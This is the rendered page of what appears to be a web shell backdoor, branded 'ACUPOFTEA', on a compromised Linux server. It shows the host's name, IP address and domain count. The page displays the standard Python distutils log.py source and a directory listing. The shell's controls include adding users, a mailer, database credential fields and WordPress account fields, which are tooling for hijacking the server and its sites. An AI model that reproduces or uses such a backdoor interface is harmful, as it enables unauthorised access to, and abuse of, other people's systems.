System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.6
/
distutils
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
log.py
"""A simple log mechanism styled after PEP 282.""" # The class here is styled after PEP 282 so that it could later be # replaced with a standard Python logging implementation. DEBUG = 1 INFO = 2 WARN = 3 ERROR = 4 FATAL = 5 import sys class Log: def __init__(self, threshold=WARN): self.threshold = threshold def _log(self, level, msg, args): if level not in (DEBUG, INFO, WARN, ERROR, FATAL): raise ValueError('%s wrong log level' % str(level)) if level >= self.threshold: if args: msg = msg % args if level in (WARN, ERROR, FATAL): stream = sys.stderr else: stream = sys.stdout try: stream.write('%s\n' % msg) except UnicodeEncodeError: # emulate backslashreplace error handler encoding = stream.encoding msg = msg.encode(encoding, "backslashreplace").decode(encoding) stream.write('%s\n' % msg) stream.flush() def log(self, level, msg, *args): self._log(level, msg, args) def debug(self, msg, *args): self._log(DEBUG, msg, args) def info(self, msg, *args): self._log(INFO, msg, args) def warn(self, msg, *args): self._log(WARN, msg, args) def error(self, msg, *args): self._log(ERROR, msg, args) def fatal(self, msg, *args): self._log(FATAL, msg, args) _global_log = Log() log = _global_log.log debug = _global_log.debug info = _global_log.info warn = _global_log.warn error = _global_log.error fatal = _global_log.fatal def set_threshold(level): # return the old threshold for use from tests old = _global_log.threshold _global_log.threshold = level return old def set_verbosity(v): if v <= 0: set_threshold(WARN) elif v == 1: set_threshold(INFO) elif v >= 2: set_threshold(DEBUG)
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
..
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__pycache__
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
command
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
README
text/plain
295 B
-rw-r--r--
2018-12-23 09:37:14
__init__.py
text/plain
236 B
-rw-r--r--
2018-12-23 09:37:14
_msvccompiler.py
text/x-python
21.07 KB
-rw-r--r--
2018-12-23 09:37:14
archive_util.py
text/x-python
8.32 KB
-rw-r--r--
2018-12-23 09:37:14
bcppcompiler.py
text/x-python
14.58 KB
-rw-r--r--
2018-12-23 09:37:14
ccompiler.py
text/x-python
46.3 KB
-rw-r--r--
2018-12-23 09:37:14
cmd.py
text/x-python
18.68 KB
-rw-r--r--
2018-12-23 09:37:14
config.py
text/x-python
4.77 KB
-rw-r--r--
2018-12-23 09:37:14
core.py
text/x-python
8.67 KB
-rw-r--r--
2018-12-23 09:37:14
cygwinccompiler.py
text/x-python
16.09 KB
-rw-r--r--
2018-12-23 09:37:14
debug.py
text/plain
139 B
-rw-r--r--
2018-12-23 09:37:14
dep_util.py
text/x-python
3.41 KB
-rw-r--r--
2018-12-23 09:37:14
dir_util.py
text/x-python
7.6 KB
-rw-r--r--
2018-12-23 09:37:14
dist.py
text/x-python
48.53 KB
-rw-r--r--
2018-12-23 09:37:14
errors.py
text/plain
3.49 KB
-rw-r--r--
2018-12-23 09:37:14
extension.py
text/plain
10.27 KB
-rw-r--r--
2018-12-23 09:37:14
fancy_getopt.py
text/x-python
17.37 KB
-rw-r--r--
2018-12-23 09:37:14
file_util.py
text/x-python
7.96 KB
-rw-r--r--
2018-12-23 09:37:14
filelist.py
text/x-python
12.53 KB
-rw-r--r--
2018-12-23 09:37:14
log.py
text/plain
1.92 KB
-rw-r--r--
2018-12-23 09:37:14
msvc9compiler.py
text/x-python
29.89 KB
-rw-r--r--
2018-12-23 09:37:14
msvccompiler.py
text/x-python
23.02 KB
-rw-r--r--
2018-12-23 09:37:14
spawn.py
text/x-python
7.25 KB
-rw-r--r--
2018-12-23 09:37:14
sysconfig.py
text/x-python
19.7 KB
-rw-r--r--
2025-08-26 09:08:08
text_file.py
text/plain
12.19 KB
-rw-r--r--
2018-12-23 09:37:14
unixccompiler.py
text/x-python
14.63 KB
-rw-r--r--
2025-08-26 08:58:55
util.py
text/x-python
20.3 KB
-rw-r--r--
2018-12-23 09:37:14
version.py
text/x-python
12.06 KB
-rw-r--r--
2018-12-23 09:37:14
versionpredicate.py
text/plain
5.01 KB
-rw-r--r--
2018-12-23 09:37:14
~ ACUPOFTEA - mail.ontime-ae.com